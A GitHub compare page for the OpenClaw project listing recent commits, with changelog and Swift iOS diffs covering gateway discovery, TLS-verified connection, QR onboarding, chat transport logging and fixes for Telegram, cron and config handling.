Compare commits

...

53 Commits

Author SHA1 Message Date
Gustavo Madeira Santana
09e8d95eb0 config: clarify bootstrap cap unset behavior 2026-02-16 11:25:01 -05:00
Gustavo Madeira Santana
ff2bce8cfe Agents: make bootstrap prompt caps opt-in by default 2026-02-16 11:25:01 -05:00
Mariano
130e59a9c0 iOS: port onboarding + QR pairing flow stability (#18162)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a87eadea19
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 16:22:51 +00:00
Peter Steinberger
df6d0ee92b refactor(core): dedupe tool policy and IPv4 matcher logic 2026-02-16 16:14:54 +00:00
Peter Steinberger
110b1cf46f refactor(test): centralize auth test env lifecycle cleanup 2026-02-16 16:10:18 +00:00
Mariano
9a1e168685 iOS: port gateway connect/discovery stability + onboarding reset (#18164)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8165ec5bae
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 16:07:22 +00:00
Peter Steinberger
def3a3ced1 refactor(test): reduce auth and channel setup duplication 2026-02-16 16:03:22 +00:00
Peter Steinberger
9adcaccd0b refactor(test): share non-interactive onboarding test helpers 2026-02-16 16:03:22 +00:00
Mariano
2e7fac2231 iOS: port talk redaction, accessibility, and ATS hardening (#18163)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8a9a05f04e
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 16:00:08 +00:00
Peter Steinberger
db3480f9b5 refactor(test): reuse provider-auth onboarding config helper 2026-02-16 15:53:13 +00:00
Mariano
6effcdb551 OpenClawKit: stabilize iOS ChatUI updates after gateway replies (#18165)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9b6e38d5be
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 15:51:11 +00:00
Peter Steinberger
f1351fc545 refactor(test): centralize auth test agent-dir helpers 2026-02-16 15:44:33 +00:00
Peter Steinberger
36a5ff8135 refactor(test): consolidate provider-auth config snapshot typing 2026-02-16 15:42:50 +00:00
Peter Steinberger
a948a3bd00 refactor(test): share gateway onboarding state-dir lifecycle 2026-02-16 15:40:48 +00:00
Peter Steinberger
a0e8f00b20 refactor(test): simplify auth-choice profile assertions 2026-02-16 15:38:37 +00:00
Peter Steinberger
716872c174 refactor(test): dedupe agents identity test setup 2026-02-16 15:38:37 +00:00
Mariano
68e39cf2c3 CLI: restore and harden qr --remote pairing behavior (#18166)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a79fc2a3c6
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 15:38:07 +00:00
Peter Steinberger
1633c6fe98 refactor(test): dedupe auth-choice e2e setup plumbing 2026-02-16 15:25:45 +00:00
Peter Steinberger
94f455c693 refactor(test): share auth test env/profile helpers 2026-02-16 15:25:45 +00:00
Peter Steinberger
1d37389490 test: annotate harness mocks to avoid TS2742 in CI 2026-02-16 15:19:11 +00:00
Peter Steinberger
a1ca9291f3 test(agents): fix reasoning replay input assertion helper 2026-02-16 14:59:31 +00:00
Peter Steinberger
93ca0ed54f refactor(channels): dedupe transport and gateway test scaffolds 2026-02-16 14:59:31 +00:00
Peter Steinberger
f717a13039 refactor(agent): dedupe harness and command workflows 2026-02-16 14:59:30 +00:00
Peter Steinberger
04892ee230 refactor(core): dedupe shared config and runtime helpers 2026-02-16 14:59:30 +00:00
Peter Steinberger
544ffbcf7b refactor(extensions): dedupe connector helper usage 2026-02-16 14:59:30 +00:00
Peter Steinberger
bc55ffb160 test: isolate qr/setup-code token env in unit tests 2026-02-16 14:58:38 +00:00
Peter Steinberger
c9f2c3aef9 test: trim redundant non-stop abort assertion 2026-02-16 14:58:38 +00:00
Peter Steinberger
fc9fae2c29 chore(changelog): restore 2026.2.15 and move entries to 2026.2.16 2026-02-16 15:53:00 +01:00
Mariano
599c890221 CLI/Gateway: restore qr flow with --remote support (clean) (#18091)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4bee77ce06
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 14:48:14 +00:00
pierreeurope
fec4be8dec fix(cron): prevent daily jobs from skipping days (48h jump) #17852 (#17903)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 1ffe6a45af
Co-authored-by: pierreeurope <248892285+pierreeurope@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:35:49 -05:00
brandonwise
095d522099 fix(security): create session transcript files with 0o600 permissions (#18066)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 962f497d24
Co-authored-by: brandonwise <21148772+brandonwise@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:33:40 -05:00
sebslight
6931f0fb50 refactor(telegram): avoid double-wrapping proxy fetch 2026-02-16 08:24:55 -05:00
sebslight
b4fa10ae67 refactor(infra): make fetch wrapping idempotent 2026-02-16 08:24:55 -05:00
sebslight
7b8cce0910 test(config): normalize merge-patch regression fixture formatting 2026-02-16 08:24:55 -05:00
sebslight
5b8bfd261b test(gateway): cover mixed-id config.patch rollback 2026-02-16 08:24:55 -05:00
sebslight
f4b2fd00bc fix(config): harden object-array merge-by-id fallback 2026-02-16 08:24:55 -05:00
Hongwei Ma
dddb1bc942 fix(telegram): fix streaming with extended thinking models overwriting previous messages/ also happens to Execution error (#17973)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 34b52eead8
Co-authored-by: Marvae <11957602+Marvae@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-16 18:54:34 +05:30
sebslight
553d17f8af refactor(agents): use silent token constant in prompts 2026-02-16 08:20:24 -05:00
Jackten
e3e8046a93 fix(infra): avoid detached finally unhandled rejection in fetch wrapper (#18014)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4ec21c89cb
Co-authored-by: Jackten <2895479+Jackten@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:17:23 -05:00
不做了睡大觉
cb391f4bdc fix(config): prevent config.patch from destroying arrays when patch entries lack id (#18030)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a857df9e32
Co-authored-by: stakeswky <64798754+stakeswky@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:13:51 -05:00
sebslight
3a277e394e test(agents): add cooldown expiry helper regressions 2026-02-16 08:10:52 -05:00
sebslight
d224776ffb refactor(agents): extract cooldown probe decision helper 2026-02-16 08:10:52 -05:00
zerone0x
c2a0cf0c28 fix(tts): update tool description to prevent duplicate audio delivery (#18046)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 70c096abaa
Co-authored-by: zerone0x <39543393+zerone0x@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:09:02 -05:00
Ítalo Souza
39bb1b3322 fix: auto-recover primary model after rate-limit cooldown expires (#17478) (#18045)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f7a7865727
Co-authored-by: PlayerGhost <28265945+PlayerGhost@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:03:35 -05:00
yinghaosang
244ed9db39 fix(telegram): draft stream preview not threaded when replyToMode is on (#17880) (#17928)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: cfd4181a23
Co-authored-by: yinghaosang <261132136+yinghaosang@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-16 18:10:24 +05:30
Ayaan Zaidi
b2aa6e094d fix(telegram): prevent non-abort slash commands from racing chat replies (#17899)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 5c2f6f2c96
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-16 16:21:10 +05:30
Advait Paliwal
bc67af6ad8 cron: separate webhook POST delivery from announce (#17901)
* cron: split webhook delivery from announce mode

* cron: validate webhook delivery target

* cron: remove legacy webhook fallback config

* fix: finalize cron webhook delivery prep (#17901) (thanks @advaitpaliwal)

---------

Co-authored-by: Tyler Yust <TYTYYUST@YAHOO.COM>
2026-02-16 02:36:00 -08:00
Peter Steinberger
d841c9b26b test: remove duplicate replyToTag assertion in split-tag case 2026-02-16 10:02:59 +00:00
Peter Steinberger
597f956a4f test: remove duplicate existing-id all-mode planner case 2026-02-16 10:01:58 +00:00
Peter Steinberger
f043f2d8c9 test: trim duplicate first-mode hasReplied assertion variant 2026-02-16 10:00:57 +00:00
Peter Steinberger
a4e7f256db test: drop redundant off-mode hasReplied assertion 2026-02-16 09:59:59 +00:00
Peter Steinberger
893f56b87d test: remove redundant multi-variable template resolution case 2026-02-16 09:59:09 +00:00
Peter Steinberger
4da68afc73 test: remove duplicate off-mode existing-id planner case 2026-02-16 09:58:05 +00:00
540 changed files with 20843 additions and 22035 deletions

View File

@@ -6,6 +6,32 @@ Docs: https://docs.openclaw.ai
### Changes
- Cron/Gateway: separate per-job webhook delivery (`delivery.mode = "webhook"`) from announce delivery, enforce valid HTTP(S) webhook URLs, and keep a temporary legacy `notify + cron.webhook` fallback for stored jobs. (#17901) Thanks @advaitpaliwal.
### Fixes
- Security/Sessions: create new session transcript JSONL files with user-only (`0o600`) permissions and extend `openclaw security audit --fix` to remediate existing transcript file permissions.
- Infra/Fetch: ensure foreign abort-signal listener cleanup never masks original fetch successes/failures, while still preventing detached-finally unhandled rejection noise in `wrapFetchWithAbortSignal`. Thanks @Jackten.
- Gateway/Config: prevent `config.patch` object-array merges from falling back to full-array replacement when some patch entries lack `id`, so partial `agents.list` updates no longer drop unrelated agents. (#17989) Thanks @stakeswky.
- Agents/Models: probe the primary model when its auth-profile cooldown is near expiry (with per-provider throttling), so runs recover from temporary rate limits without staying on fallback models until restart. (#17478) Thanks @PlayerGhost.
- Telegram: keep draft-stream preview replies attached to the user message for `replyToMode: "all"` in groups and DMs, preserving threaded reply context from preview through finalization. (#17880) Thanks @yinghaosang.
- Telegram: disable block streaming when `channels.telegram.streamMode` is `off`, preventing newline/content-block replies from splitting into multiple messages. (#17679) Thanks @saivarunk.
- Telegram: route non-abort slash commands on the normal chat/topic sequential lane while keeping true abort requests (`/stop`, `stop`) on the control lane, preventing command/reply race conditions from control-lane bypass. (#17899) Thanks @obviyus.
- Telegram: prevent streaming final replies from being overwritten by later final/error payloads, and suppress fallback tool-error warnings when a recovered assistant answer already exists after tool calls. (#17883) Thanks @Marvae and @obviyus.
- Memory/QMD: scope managed collection names per agent and precreate glob-backed collection directories before registration, preventing cross-agent collection clobbering and startup ENOENT failures in fresh workspaces. (#17194) Thanks @jonathanadams96.
- Auto-reply/TTS: keep tool-result media delivery enabled in group chats and native command sessions (while still suppressing tool summary text) so `NO_REPLY` follow-ups do not drop successful TTS audio. (#17991) Thanks @zerone0x.
- Cron: preserve per-job schedule-error isolation in post-run maintenance recompute so malformed sibling jobs no longer abort persistence of successful runs. (#17852) Thanks @pierreeurope.
- CLI/Pairing: make `openclaw qr --remote` prefer `gateway.remote.url` over tailscale/public URL resolution and register the `openclaw clawbot qr` legacy alias path. (#18091)
- CLI/QR: restore fail-fast validation for `openclaw qr --remote` when neither `gateway.remote.url` nor tailscale `serve`/`funnel` is configured, preventing unusable remote pairing QR flows. (#18166) Thanks @mbelinky.
- OpenClawKit/iOS ChatUI: accept canonical session-key completion events for local pending runs and preserve message IDs across history refreshes, preventing stuck "thinking" state and message flicker after gateway replies. (#18165) Thanks @mbelinky.
- iOS/Talk: harden mobile talk config handling by ignoring redacted/env-placeholder API keys, support secure local keychain override, improve accessibility motion/contrast behavior in status UI, and tighten ATS to local-network allowance. (#18163) Thanks @mbelinky.
- iOS/Gateway: stabilize connect/discovery state handling, add onboarding reset recovery in Settings, and fix iOS gateway-controller coverage for command-surface and last-connection persistence behavior. (#18164) Thanks @mbelinky.
- iOS/Onboarding: add QR-first onboarding wizard with setup-code deep link support, pairing/auth issue guidance, and device-pair QR generation improvements for Telegram/Web/TUI fallback flows. (#18162) Thanks @mbelinky.
## 2026.2.15
### Changes
- Discord: unlock rich interactive agent prompts with Components v2 (buttons, selects, modals, and attachment-backed file blocks) so for native interaction through Discord. Thanks @thewilloftheshadow.
- Discord: components v2 UI + embeds passthrough + exec approval UX refinements (CV2 containers, button layout, Discord-forwarding skip). Thanks @thewilloftheshadow.
- Plugins: expose `llm_input` and `llm_output` hook payloads so extensions can observe prompt/input context and model output usage details. (#16724) Thanks @SecondThread.
@@ -32,6 +58,7 @@ Docs: https://docs.openclaw.ai
- Gateway/Chat: harden `chat.send` inbound message handling by rejecting null bytes, stripping unsafe control characters, and normalizing Unicode to NFC before dispatch. (#8593) Thanks @fr33d3m0n.
- Gateway/Send: return an actionable error when `send` targets internal-only `webchat`, guiding callers to use `chat.send` or a deliverable channel. (#15703) Thanks @rodrigouroz.
- Control UI: prevent stored XSS via assistant name/avatar by removing inline script injection, serving bootstrap config as JSON, and enforcing `script-src 'self'`. Thanks @Adam55A-code.
- Agents/Context: make bootstrap prompt limits opt-in (`bootstrapMaxChars`/`bootstrapTotalMaxChars`), preserve full core bootstrap content by default, and surface both per-file and total bootstrap caps in `/context` reports.
- Agents/Security: sanitize workspace paths before embedding into LLM prompts (strip Unicode control/format chars) to prevent instruction injection via malicious directory names. Thanks @aether-ai-agent.
- Agents/Sandbox: clarify system prompt path guidance so sandbox `bash/exec` uses container paths (for example `/workspace`) while file tools keep host-bridge mapping, avoiding first-attempt path misses from host-only absolute paths in sandbox command execution. (#17693) Thanks @app/juniordevbot.
- Agents/Context: apply configured model `contextWindow` overrides after provider discovery so `lookupContextTokens()` honors operator config values (including discovery-failure paths). (#17404) Thanks @michaelbship and @vignesh07.
@@ -48,12 +75,10 @@ Docs: https://docs.openclaw.ai
- Telegram: replace inbound `<media:audio>` placeholder with successful preflight voice transcript in message body context, preventing placeholder-only prompt bodies for mention-gated voice messages. (#16789) Thanks @Limitless2023.
- Telegram: retry inbound media `getFile` calls (3 attempts with backoff) and gracefully fall back to placeholder-only processing when retries fail, preventing dropped voice/media messages on transient Telegram network errors. (#16154) Thanks @yinghaosang.
- Telegram: finalize streaming preview replies in place instead of sending a second final message, preventing duplicate Telegram assistant outputs at stream completion. (#17218) Thanks @obviyus.
- Telegram: disable block streaming when `channels.telegram.streamMode` is `off`, preventing newline/content-block replies from splitting into multiple messages. (#17679) Thanks @saivarunk.
- Discord: preserve channel session continuity when runtime payloads omit `message.channelId` by falling back to event/raw `channel_id` values for routing/session keys, so same-channel messages keep history across turns/restarts. Also align diagnostics so active Discord runs no longer appear as `sessionKey=unknown`. (#17622) Thanks @shakkernerd.
- Discord: dedupe native skill commands by skill name in multi-agent setups to prevent duplicated slash commands with `_2` suffixes. (#17365) Thanks @seewhyme.
- Discord: ensure role allowlist matching uses raw role IDs for message routing authorization. Thanks @xinhuagu.
- Web UI/Agents: hide `BOOTSTRAP.md` in the Agents Files list after onboarding is completed, avoiding confusing missing-file warnings for completed workspaces. (#17491) Thanks @gumadeiras.
- Memory/QMD: scope managed collection names per agent and precreate glob-backed collection directories before registration, preventing cross-agent collection clobbering and startup ENOENT failures in fresh workspaces. (#17194) Thanks @jonathanadams96.
- Auto-reply/WhatsApp/TUI/Web: when a final assistant message is `NO_REPLY` and a messaging tool send succeeded, mirror the delivered messaging-tool text into session-visible assistant output so TUI/Web no longer show `NO_REPLY` placeholders. (#7010) Thanks @Morrowind-Xie.
- Cron: infer `payload.kind="agentTurn"` for model-only `cron.update` payload patches, so partial agent-turn updates do not fail validation when `kind` is omitted. (#15664) Thanks @rodrigouroz.
- TUI: make searchable-select filtering and highlight rendering ANSI-aware so queries ignore hidden escape codes and no longer corrupt ANSI styling sequences during match highlighting. (#4519) Thanks @bee4come.

View File

@@ -2,8 +2,10 @@ import OpenClawChatUI
import OpenClawKit
import OpenClawProtocol
import Foundation
import OSLog
struct IOSGatewayChatTransport: OpenClawChatTransport, Sendable {
private static let logger = Logger(subsystem: "ai.openclaw", category: "ios.chat.transport")
private let gateway: GatewayNodeSession
init(gateway: GatewayNodeSession) {
@@ -33,10 +35,8 @@ struct IOSGatewayChatTransport: OpenClawChatTransport, Sendable {
}
func setActiveSessionKey(_ sessionKey: String) async throws {
struct Subscribe: Codable { var sessionKey: String }
let data = try JSONEncoder().encode(Subscribe(sessionKey: sessionKey))
let json = String(data: data, encoding: .utf8)
await self.gateway.sendEvent(event: "chat.subscribe", payloadJSON: json)
// Operator clients receive chat events without node-style subscriptions.
// (chat.subscribe is a node event, not an operator RPC method.)
}
func requestHistory(sessionKey: String) async throws -> OpenClawChatHistoryPayload {
@@ -54,6 +54,7 @@ struct IOSGatewayChatTransport: OpenClawChatTransport, Sendable {
idempotencyKey: String,
attachments: [OpenClawChatAttachmentPayload]) async throws -> OpenClawChatSendResponse
{
Self.logger.info("chat.send start sessionKey=\(sessionKey, privacy: .public) len=\(message.count, privacy: .public) attachments=\(attachments.count, privacy: .public)")
struct Params: Codable {
var sessionKey: String
var message: String
@@ -72,8 +73,15 @@ struct IOSGatewayChatTransport: OpenClawChatTransport, Sendable {
idempotencyKey: idempotencyKey)
let data = try JSONEncoder().encode(params)
let json = String(data: data, encoding: .utf8)
let res = try await self.gateway.request(method: "chat.send", paramsJSON: json, timeoutSeconds: 35)
return try JSONDecoder().decode(OpenClawChatSendResponse.self, from: res)
do {
let res = try await self.gateway.request(method: "chat.send", paramsJSON: json, timeoutSeconds: 35)
let decoded = try JSONDecoder().decode(OpenClawChatSendResponse.self, from: res)
Self.logger.info("chat.send ok runId=\(decoded.runId, privacy: .public)")
return decoded
} catch {
Self.logger.error("chat.send failed \(error.localizedDescription, privacy: .public)")
throw error
}
}
func requestHealth(timeoutMs: Int) async throws -> Bool {

View File

@@ -72,32 +72,55 @@ final class GatewayConnectionController {
}
}
func connect(_ gateway: GatewayDiscoveryModel.DiscoveredGateway) async {
func allowAutoConnectAgain() {
self.didAutoConnect = false
self.maybeAutoConnect()
}
func restartDiscovery() {
self.discovery.stop()
self.didAutoConnect = false
self.discovery.start()
self.updateFromDiscovery()
}
/// Returns `nil` when a connect attempt was started, otherwise returns a user-facing error.
func connectWithDiagnostics(_ gateway: GatewayDiscoveryModel.DiscoveredGateway) async -> String? {
await self.connectDiscoveredGateway(gateway)
}
private func connectDiscoveredGateway(
_ gateway: GatewayDiscoveryModel.DiscoveredGateway) async
_ gateway: GatewayDiscoveryModel.DiscoveredGateway) async -> String?
{
let instanceId = UserDefaults.standard.string(forKey: "node.instanceId")?
.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if instanceId.isEmpty {
return "Missing instanceId (node.instanceId). Try restarting the app."
}
let token = GatewaySettingsStore.loadGatewayToken(instanceId: instanceId)
let password = GatewaySettingsStore.loadGatewayPassword(instanceId: instanceId)
// Resolve the service endpoint (SRV/A/AAAA). TXT is unauthenticated; do not route via TXT.
guard let target = await self.resolveServiceEndpoint(gateway.endpoint) else { return }
guard let target = await self.resolveServiceEndpoint(gateway.endpoint) else {
return "Failed to resolve the discovered gateway endpoint."
}
let stableID = gateway.stableID
// Discovery is a LAN operation; refuse unauthenticated plaintext connects.
let tlsRequired = true
let stored = GatewayTLSStore.loadFingerprint(stableID: stableID)
guard gateway.tlsEnabled || stored != nil else { return }
guard gateway.tlsEnabled || stored != nil else {
return "Discovered gateway is missing TLS and no trusted fingerprint is stored."
}
if tlsRequired, stored == nil {
guard let url = self.buildGatewayURL(host: target.host, port: target.port, useTLS: true)
else { return }
guard let fp = await self.probeTLSFingerprint(url: url) else { return }
else { return "Failed to build TLS URL for trust verification." }
guard let fp = await self.probeTLSFingerprint(url: url) else {
return "Failed to read TLS fingerprint from discovered gateway."
}
self.pendingTrustConnect = (url: url, stableID: stableID, isManual: false)
self.pendingTrustPrompt = TrustPrompt(
stableID: stableID,
@@ -107,7 +130,7 @@ final class GatewayConnectionController {
fingerprintSha256: fp,
isManual: false)
self.appModel?.gatewayStatusText = "Verify gateway TLS fingerprint"
return
return nil
}
let tlsParams = stored.map { fp in
@@ -118,7 +141,7 @@ final class GatewayConnectionController {
host: target.host,
port: target.port,
useTLS: tlsParams?.required == true)
else { return }
else { return "Failed to build discovered gateway URL." }
GatewaySettingsStore.saveLastGatewayConnectionDiscovered(stableID: stableID, useTLS: true)
self.didAutoConnect = true
self.startAutoConnect(
@@ -127,6 +150,11 @@ final class GatewayConnectionController {
tls: tlsParams,
token: token,
password: password)
return nil
}
func connect(_ gateway: GatewayDiscoveryModel.DiscoveredGateway) async {
_ = await self.connectWithDiagnostics(gateway)
}
func connectManual(host: String, port: Int, useTLS: Bool) async {
@@ -490,6 +518,125 @@ final class GatewayConnectionController {
}
}
private func resolveHostPortFromBonjourEndpoint(_ endpoint: NWEndpoint) async -> (host: String, port: Int)? {
switch endpoint {
case let .hostPort(host, port):
return (host: host.debugDescription, port: Int(port.rawValue))
case let .service(name, type, domain, _):
return await Self.resolveBonjourServiceToHostPort(name: name, type: type, domain: domain)
default:
return nil
}
}
private static func resolveBonjourServiceToHostPort(
name: String,
type: String,
domain: String,
timeoutSeconds: TimeInterval = 3.0
) async -> (host: String, port: Int)? {
// NetService callbacks are delivered via a run loop. If we resolve from a thread without one,
// we can end up never receiving callbacks, which in turn leaks the continuation and leaves
// the UI stuck "connecting". Keep the whole lifecycle on the main run loop and always
// resume the continuation exactly once (timeout/cancel safe).
@MainActor
final class Resolver: NSObject, @preconcurrency NetServiceDelegate {
private var cont: CheckedContinuation<(host: String, port: Int)?, Never>?
private let service: NetService
private var timeoutTask: Task<Void, Never>?
private var finished = false
init(cont: CheckedContinuation<(host: String, port: Int)?, Never>, service: NetService) {
self.cont = cont
self.service = service
super.init()
}
func start(timeoutSeconds: TimeInterval) {
self.service.delegate = self
self.service.schedule(in: .main, forMode: .default)
// NetService has its own timeout, but we keep a manual one as a backstop in case
// callbacks never arrive (e.g. local network permission issues).
self.timeoutTask = Task { @MainActor [weak self] in
guard let self else { return }
let ns = UInt64(max(0.1, timeoutSeconds) * 1_000_000_000)
try? await Task.sleep(nanoseconds: ns)
self.finish(nil)
}
self.service.resolve(withTimeout: timeoutSeconds)
}
func netServiceDidResolveAddress(_ sender: NetService) {
self.finish(Self.extractHostPort(sender))
}
func netService(_ sender: NetService, didNotResolve errorDict: [String: NSNumber]) {
_ = errorDict // currently best-effort; callers surface a generic failure
self.finish(nil)
}
private func finish(_ result: (host: String, port: Int)?) {
guard !self.finished else { return }
self.finished = true
self.timeoutTask?.cancel()
self.timeoutTask = nil
self.service.stop()
self.service.remove(from: .main, forMode: .default)
let c = self.cont
self.cont = nil
c?.resume(returning: result)
}
private static func extractHostPort(_ svc: NetService) -> (host: String, port: Int)? {
let port = svc.port
if let host = svc.hostName?.trimmingCharacters(in: .whitespacesAndNewlines), !host.isEmpty {
return (host: host, port: port)
}
guard let addrs = svc.addresses else { return nil }
for addrData in addrs {
let host = addrData.withUnsafeBytes { ptr -> String? in
guard let base = ptr.baseAddress, !ptr.isEmpty else { return nil }
var buffer = [CChar](repeating: 0, count: Int(NI_MAXHOST))
let rc = getnameinfo(
base.assumingMemoryBound(to: sockaddr.self),
socklen_t(ptr.count),
&buffer,
socklen_t(buffer.count),
nil,
0,
NI_NUMERICHOST)
guard rc == 0 else { return nil }
return String(cString: buffer)
}
if let host, !host.isEmpty {
return (host: host, port: port)
}
}
return nil
}
}
return await withCheckedContinuation { cont in
Task { @MainActor in
let service = NetService(domain: domain, type: type, name: name)
let resolver = Resolver(cont: cont, service: service)
// Keep the resolver alive for the lifetime of the NetService resolve.
objc_setAssociatedObject(service, "resolver", resolver, .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
resolver.start(timeoutSeconds: timeoutSeconds)
}
}
}
private func buildGatewayURL(host: String, port: Int, useTLS: Bool) -> URL? {
let scheme = useTLS ? "wss" : "ws"
var components = URLComponents()

View File

@@ -0,0 +1,71 @@
import Foundation
enum GatewayConnectionIssue: Equatable {
case none
case tokenMissing
case unauthorized
case pairingRequired(requestId: String?)
case network
case unknown(String)
var requestId: String? {
if case let .pairingRequired(requestId) = self {
return requestId
}
return nil
}
var needsAuthToken: Bool {
switch self {
case .tokenMissing, .unauthorized:
return true
default:
return false
}
}
var needsPairing: Bool {
if case .pairingRequired = self { return true }
return false
}
static func detect(from statusText: String) -> Self {
let trimmed = statusText.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return .none }
let lower = trimmed.lowercased()
if lower.contains("pairing required") || lower.contains("not_paired") || lower.contains("not paired") {
return .pairingRequired(requestId: self.extractRequestId(from: trimmed))
}
if lower.contains("gateway token missing") {
return .tokenMissing
}
if lower.contains("unauthorized") {
return .unauthorized
}
if lower.contains("connection refused") ||
lower.contains("timed out") ||
lower.contains("network is unreachable") ||
lower.contains("cannot find host") ||
lower.contains("could not connect")
{
return .network
}
if lower.hasPrefix("gateway error:") {
return .unknown(trimmed)
}
return .none
}
private static func extractRequestId(from statusText: String) -> String? {
let marker = "requestId:"
guard let range = statusText.range(of: marker) else { return nil }
let suffix = statusText[range.upperBound...]
let trimmed = suffix.trimmingCharacters(in: .whitespacesAndNewlines)
let end = trimmed.firstIndex(where: { ch in
ch == ")" || ch.isWhitespace || ch == "," || ch == ";"
}) ?? trimmed.endIndex
let id = String(trimmed[..<end]).trimmingCharacters(in: .whitespacesAndNewlines)
return id.isEmpty ? nil : id
}
}

View File

@@ -0,0 +1,113 @@
import SwiftUI
struct GatewayQuickSetupSheet: View {
@Environment(NodeAppModel.self) private var appModel
@Environment(GatewayConnectionController.self) private var gatewayController
@Environment(\.dismiss) private var dismiss
@AppStorage("onboarding.quickSetupDismissed") private var quickSetupDismissed: Bool = false
@State private var connecting: Bool = false
@State private var connectError: String?
var body: some View {
NavigationStack {
VStack(alignment: .leading, spacing: 16) {
Text("Connect to a Gateway?")
.font(.title2.bold())
if let candidate = self.bestCandidate {
VStack(alignment: .leading, spacing: 6) {
Text(verbatim: candidate.name)
.font(.headline)
Text(verbatim: candidate.debugID)
.font(.footnote)
.foregroundStyle(.secondary)
VStack(alignment: .leading, spacing: 2) {
// Use verbatim strings so Bonjour-provided values can't be interpreted as
// localized format strings (which can crash with Objective-C exceptions).
Text(verbatim: "Discovery: \(self.gatewayController.discoveryStatusText)")
Text(verbatim: "Status: \(self.appModel.gatewayStatusText)")
Text(verbatim: "Node: \(self.appModel.nodeStatusText)")
Text(verbatim: "Operator: \(self.appModel.operatorStatusText)")
}
.font(.footnote)
.foregroundStyle(.secondary)
}
.padding(12)
.background(.thinMaterial)
.clipShape(RoundedRectangle(cornerRadius: 14))
Button {
self.connectError = nil
self.connecting = true
Task {
let err = await self.gatewayController.connectWithDiagnostics(candidate)
await MainActor.run {
self.connecting = false
self.connectError = err
// If we kicked off a connect, leave the sheet up so the user can see status evolve.
}
}
} label: {
Group {
if self.connecting {
HStack(spacing: 8) {
ProgressView().progressViewStyle(.circular)
Text("Connecting…")
}
} else {
Text("Connect")
}
}
.frame(maxWidth: .infinity)
}
.buttonStyle(.borderedProminent)
.disabled(self.connecting)
if let connectError {
Text(connectError)
.font(.footnote)
.foregroundStyle(.secondary)
.textSelection(.enabled)
}
Button {
self.dismiss()
} label: {
Text("Not now")
.frame(maxWidth: .infinity)
}
.buttonStyle(.bordered)
.disabled(self.connecting)
Toggle("Dont show this again", isOn: self.$quickSetupDismissed)
.padding(.top, 4)
} else {
Text("No gateways found yet. Make sure your gateway is running and Bonjour discovery is enabled.")
.foregroundStyle(.secondary)
}
Spacer()
}
.padding()
.navigationTitle("Quick Setup")
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarTrailing) {
Button {
self.quickSetupDismissed = true
self.dismiss()
} label: {
Text("Close")
}
}
}
}
}
private var bestCandidate: GatewayDiscoveryModel.DiscoveredGateway? {
// Prefer whatever discovery says is first; the list is already name-sorted.
self.gatewayController.gateways.first
}
}

View File

@@ -4,6 +4,7 @@ import os
enum GatewaySettingsStore {
private static let gatewayService = "ai.openclaw.gateway"
private static let nodeService = "ai.openclaw.node"
private static let talkService = "ai.openclaw.talk"
private static let instanceIdDefaultsKey = "node.instanceId"
private static let preferredGatewayStableIDDefaultsKey = "gateway.preferredStableID"
@@ -24,6 +25,7 @@ enum GatewaySettingsStore {
private static let instanceIdAccount = "instanceId"
